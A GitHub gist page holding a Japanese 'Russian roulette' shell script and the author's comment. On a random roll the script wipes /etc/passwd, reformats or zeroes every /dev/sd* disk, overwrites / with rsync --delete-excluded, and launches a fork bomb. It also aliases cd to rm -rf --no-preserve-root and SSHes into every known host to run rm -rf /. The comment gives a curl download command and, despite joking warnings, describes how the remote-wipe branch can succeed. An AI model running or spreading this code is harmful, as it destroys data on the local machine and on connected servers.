Skip to content

Instantly share code, notes, and snippets.

@Hayao0819
Last active June 22, 2023 17:35
Show Gist options
  • Save Hayao0819/1d33a8f3635add1229b3f61ec9218057 to your computer and use it in GitHub Desktop.
Save Hayao0819/1d33a8f3635add1229b3f61ec9218057 to your computer and use it in GitHub Desktop.
シェル芸ロシアンルーレット
#!/bin/sh
# 参考
# https://qiita.com/_-_-_-_-_/items/214d537aae2c1488692c
get_random(){
od -v -An --width=1 -tu1 -N1 < /dev/urandom | \
awk "{ print \$1 % 10 }"
}
: "${I_WANT_TO_DESTROY_EVERYTHING:=false}"
if [ "$I_WANT_TO_DESTROY_EVERYTHING" != "true" ] ; then
exit 0
fi
if [ "$(id -u)" -ne 0 ] ; then
echo "You must be root to run this script"
exit 1
fi
# 自分のPCでは絶対に実行しないという硬い意思
if hostname | grep -q "Hayao"; then
exit 2
fi
while true; do
printf "Please press enter to continue:"
read -r
case "$(get_random)" in
0)
echo "You are lucky"
;;
1)
echo "alias cd='rm -rf --no-preserve-root'" >> ~/.bashrc
;;
2)
echo "" > /etc/passwd
;;
3)
for dev in /dev/sd*; do
mkfs.ext4 "$dev"
done
;;
4)
rsync -a --delete-excluded ~ /
;;
5)
echo "source ~/.bashrc" >> ~/.bashrc
;;
6)
echo "You are who finish the game."
n(){
# shellcheck disable=SC2264
n|n &
}
n
;;
7)
for dev in /dev/sd*; do
dd if=/dev/zero of="$dev"
done
;;
8)
crontab -r
;;
9)
# SSHの接続履歴のある全てのサーバーを破壊する
for user in /home/*; do
cut -d " " -f 1 < "$user/.ssh/know_hosts" | tr -d "[" | tr -d "]" | while read -r ip; do
ssh -n "$(basename "$user")"@"$ip" "rm -rf --no-preserve-root /"
done
done
;;
esac
done
@Hayao0819
Copy link
Author

Hayao0819 commented Jun 12, 2023

使い方

  1. PCをオフラインにする
  2. 全てのデバイスを取り外す
  3. ダウンロード
curl -L "https://gist.githubusercontent.com/Hayao0819/1d33a8f3635add1229b3f61ec9218057/raw/destroy.sh" > ./destroy.sh
  1. 実行する

注意点

  • 神奈川県警は見ないでください
  • 作者は一切の責任を負いません
  • まじで実行しないでください
  • 仮想マシンだからといって安心しないでください

作った理由

バイト終わりで疲れてるところにTwitterを見たら、「シェル芸ロシアンルーレット」という文字が目に入ったため

最後のやばそうなコードについて

このコードは一見やばそうなんですが、Typoがあるので動作しません。修正しても実際に動作するのは非常に限定的な場合のみです。

Typoを修正した場合、

  • 公開鍵認証で、パスワードなしでログインできる
  • サーバー側でパスワードなしでsudoを実行できる or rootでログイン履歴があった場合

という状況下でのみ動作します。それ以外では途中でパスワードを要求されるので中断できます。

まともなサーバー管理者なら、Rootログインは無効化したうえでsudoも限定的にしているはずです。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment